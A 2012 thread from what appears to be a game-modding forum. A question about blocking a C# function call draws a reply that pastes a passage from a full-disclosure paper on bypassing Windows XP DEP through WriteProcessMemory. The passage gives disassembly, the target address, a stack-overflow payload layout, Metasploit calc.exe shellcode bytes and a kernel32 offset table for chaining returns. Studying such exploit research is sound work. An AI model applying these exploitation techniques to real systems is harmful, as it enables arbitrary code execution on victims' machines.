03-18-2012, 08:19
Help [C#] Function pointer?
|
03-18-2012, 10:20
Make in infinite loop in the first function so it will never end, and function 2 will never start
(08-10-2011, 12:58)Pozzuh Wrote:Se7en Wrote:Stealed, from cod4 mod ...look who's talking [Release] Old School Mod v2.2 [Release] Scroll menu
03-18-2012, 10:25
(03-18-2012, 10:20)iAegle Wrote: Make in infinite loop in the first function so it will never end, and function 2 will never start function2 gets called from a place I can't edit. If I could edit it I could just've return;'d.
03-31-2012, 22:26
Well, it's quite easy...
Actually, WriteProcessMemory is also used in defeating DEP. And it's some work to find the offset. Using WriteProcessMemory() to patch itself removes the requirement of finding a location in a thread to patch, as the destination address is now offset from the known address of WriteProcessMemory(). It also removes the need for a second jmp/call to the patched location, as the natural flow of execution will walk directly into the patched code. Finally, by carefully picking the offset into WriteProcessMemory() to patch, it eliminates the need for the last pointer argument (or NULL), by overwriting the code that performs the pointer check and then stores the lpNumberBytesWritten. Finding a suitable location to write code to inside WriteProcessMemory() is easy. Observe the function code snip below: WindowsXP kernel32.dll, WriteProcessMemory 0x7C802213+... ... 7C8022BD: lea eax, [ebp + hProcess] 7C8022C0: push eax 7C8022C1: push ebx 7C8022C2: push [ebp + lpBuffer] 7C8022C5: push [ebp + lpBaseAddress] 7C8022C8: push edi 7C8022C9: call NtWriteVirtualMemory 7C8022CF: mov [ebp + lpBuffer], eax 7C8022D2: mov eax, [ebp + lpNumberBytesWritten] 7C8022D5: test eax, eax 7C8022D7: jz short 7C8022DE ... The last operation that needs to complete in order to successfully patch the process is the call to NtWriteVirtualMemory() at 0x7C8022C9. The setup for storing lpNumberBytesWritten starts afterwards, and so 0x7C8022CF is the ideal destination address to begin overwriting. Immediately after the write is completed the function flows directly into the freshly written code. This allows the bypass of permanent DEP in one call. The arguments to do this look like this: WriteProcessMemory(-1, 0x7C8022CF, ShellcodeAddr, ShellcodeLen, ..Arbitrary) The first argument, -1 for hProcess HANDLE, specifies the current process. The second argument is the offset into WriteProcessMemory() where shellcode will be written. The third argument, ShellcodeAddr, needs to be the address of shellcode stored somewhere in memory; this could be code that has been sprayed onto the heap, or at a location disclosed by the application. The fourth argument is the length of shellcode to copy. The last argument is no longer relevant as the code that deals with it is being overwritten by the copy itself. For a textbook example stack overflow this payload layout looks like: [0x7C802213] [AAAA] [0xffffffff] [0x7C8022CF] [&shellcode] [length] ^ ^ ^ ^ ^ ^ ' ' ' ' ' ' ' ' ' ' ' shellcode length ' ' ' ' ' ' ' ' ' shellcode address ' ' ' ' ' ' ' dest address in WriteProcessMemory() ' ' ' ' ' hProcess HANDLE (-1) ' ' ' next return address (irrelevant) ' WriteProcessMemory() address, overwritten EIP --------------------=! [ Return Chaining ] !=--------------------- The technique as described is still imperfect: it requires knowing where shellcode is in memory. Ideally, the location of the WriteProcessMemory() function (kernel32.dll) should be all that is required to successfully land arbitrary code execution. Consider a scenario where control of the stack is gained, but the location of the stack or orther data (other than the address of WriteProcessMemory) is unknown. By chaining multiple calls together to copy from offsets of known data, WriteProcessMemory() can be used to build shellcode dynamically from already existing code. In order to perform this, the following steps need to be taken: 1. Locate offsets for the op codes and data to compose the shellcode with. 2. Identify a location with enough space to patch, which does not conflict with any of the locations being copied from. 3. Perform multiple returns to WriteProcessMemory(), patching the location with shellcode chunks from offsets. 4. Return to newly patched shellcode. Step 1 of this process allows for some space optimization. Searching for and finding multibyte sequences of the desired shellcode (rather than just single bytes) allows for fewer returns to WriteProcessMemory(), and thus less required space for the chained stack arguments. Consider generic win32 calc.exe shellcode from Metasploit as an example: \xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18 \x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74 \x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01 \xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89\x5c\x24 \x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b\x40\x0c\x8b\x70\x1c\xad \x8b\x68\x08\x89\xf8\x83\xc0\x6a\x50\x68\x7e\xd8\xe2\x73\x68\x98\xfe\x8a \x0e\x57\xff\xe7\x63\x61\x6c\x63\x2e\x65\x78\x65\x00 By breaking this shellcode down into every possible unique chunk of 2 bytes or more, and then searching for it in kernel32.dll, it is easy to find the pieces to dynamically construct this code. Of course, not all of this code will be available in multibyte sequences. In turn some of the pieces will need to be copied in as single bytes. Here is the output from an automated scan for these sequences, code to build this table is provided later on: ________________________________________________________ |---- Bytes ---------- PE/DLL --- WPM() ---| |--------------------------------------------------------| | shellcode[000-001] 0x7c8016d9 --> 0x7c861967 | | shellcode[001-006] 0x7c81b11c --> 0x7c861968 | | shellcode[006-010] 0x7c8285e3 --> 0x7c86196d | | shellcode[010-012] 0x7c801e3c --> 0x7c861971 | | shellcode[012-014] 0x7c804714 --> 0x7c861973 | | shellcode[014-015] 0x7c801aa6 --> 0x7c861975 | | shellcode[015-018] 0x7c87acf4 --> 0x7c861976 | | shellcode[018-020] 0x7c80a2b1 --> 0x7c861979 | | shellcode[020-022] 0x7c804664 --> 0x7c86197b | | shellcode[022-025] 0x7c84266b --> 0x7c86197d | | shellcode[025-026] 0x7c801737 --> 0x7c861980 | | shellcode[026-028] 0x7c80473a --> 0x7c861981 | | shellcode[028-030] 0x7c81315c --> 0x7c861983 | | shellcode[030-032] 0x7c802b44 --> 0x7c861985 | | shellcode[032-034] 0x7c81a061 --> 0x7c861987 | | shellcode[034-037] 0x7c812ae7 --> 0x7c861989 | | shellcode[037-038] 0x7c801639 --> 0x7c86198c | | shellcode[038-040] 0x7c841d31 --> 0x7c86198d | | shellcode[040-042] 0x7c8047a7 --> 0x7c86198f | | shellcode[042-044] 0x7c8121da --> 0x7c861991 | | shellcode[044-047] 0x7c80988f --> 0x7c861993 | | shellcode[047-048] 0x7c8016dc --> 0x7c861996 | | shellcode[048-051] 0x7c84a0d0 --> 0x7c861997 | | shellcode[051-052] 0x7c801a8a --> 0x7c86199a | | shellcode[052-054] 0x7c802e41 --> 0x7c86199b | | shellcode[054-055] 0x7c8016fb --> 0x7c86199d | | shellcode[055-059] 0x7c84bb29 --> 0x7c86199e | | shellcode[059-062] 0x7c80a2b1 --> 0x7c8619a2 | | shellcode[062-063] 0x7c801677 --> 0x7c8619a5 | | shellcode[063-065] 0x7c8210f4 --> 0x7c8619a6 | | shellcode[065-067] 0x7c801e9a --> 0x7c8619a8 | | shellcode[067-068] 0x7c801677 --> 0x7c8619aa | | shellcode[068-070] 0x7c821d86 --> 0x7c8619ab | | shellcode[070-071] 0x7c8019ba --> 0x7c8619ad | | shellcode[071-072] 0x7c801649 --> 0x7c8619ae | | shellcode[072-073] 0x7c8016dc --> 0x7c8619af | | shellcode[073-075] 0x7c832d0b --> 0x7c8619b0 | | shellcode[075-076] 0x7c8023e4 --> 0x7c8619b2 | | shellcode[076-078] 0x7c86a706 --> 0x7c8619b3 | | shellcode[078-080] 0x7c80e11b --> 0x7c8619b5 | | shellcode[080-083] 0x7c8325a2 --> 0x7c8619b7 | | shellcode[083-087] 0x7c840db2 --> 0x7c8619ba | | shellcode[087-089] 0x7c812ff8 --> 0x7c8619be | | shellcode[089-091] 0x7c82be3c --> 0x7c8619c0 | | shellcode[091-093] 0x7c802552 --> 0x7c8619c2 | | shellcode[093-094] 0x7c80168e --> 0x7c8619c4 | | shellcode[094-097] 0x7c81cd28 --> 0x7c8619c5 | | shellcode[097-100] 0x7c812cc3 --> 0x7c8619c8 | | shellcode[100-101] 0x7c80270d --> 0x7c8619cb | | shellcode[101-102] 0x7c80166b --> 0x7c8619cc | | shellcode[102-103] 0x7c801b17 --> 0x7c8619cd | | shellcode[103-105] 0x7c804d40 --> 0x7c8619ce | | shellcode[105-106] 0x7c802638 --> 0x7c8619d0 | | shellcode[106-108] 0x7c82c4af --> 0x7c8619d1 | | shellcode[108-111] 0x7c85f0b6 --> 0x7c8619d3 | | shellcode[111-112] 0x7c80178f --> 0x7c8619d6 | | shellcode[112-115] 0x7c804bed --> 0x7c8619d7 | | shellcode[115-116] 0x7c80232d --> 0x7c8619da | | shellcode[116-121] 0x7c84eac0 --> 0x7c8619db | `------------------------------------------------------- As the scan shows, the shellcode is 121 bytes long, but using multibyte sequences allows this code to be built by chaining just 59 calls to WriteProcessMemory(). Step 2 differentiates this from the previous technique of patching WriteProcessMemory() itself. In order to avoid accidentally overwriting some useful area, and for overall simplicity, it is best pick the address of a disposable function or code area from kernel32.dll to overwrite. The example used in this paper is the GetTempFileNameA() function at 0x7c861967, as this code area has no overlap with WriteProcessMemory(), nor does it overlap with any of the shellcode offsets. Of course I didn't write that, but it helps.. Here is the link to the page, which includes a python script that will do much of the shell code exploring for you. This is where I used to learn writememoryprocess and its a good place to start. http://seclists.org/fulldisclosure/2010/...EP-WPM.txt
crAyon makes no warranty with respect to documents or other information available from this place, assumes no legal liability or responsibility whatsoever for the accuracy, completeness, or usefulness of any such information, and does not represent that its use would not infringe privately owned rights. crAyon disclaims all warranties, express and implied, including the warranties of merchantability and fitness for a particular purpose.
|
Users browsing this thread: |
2 Guest(s) |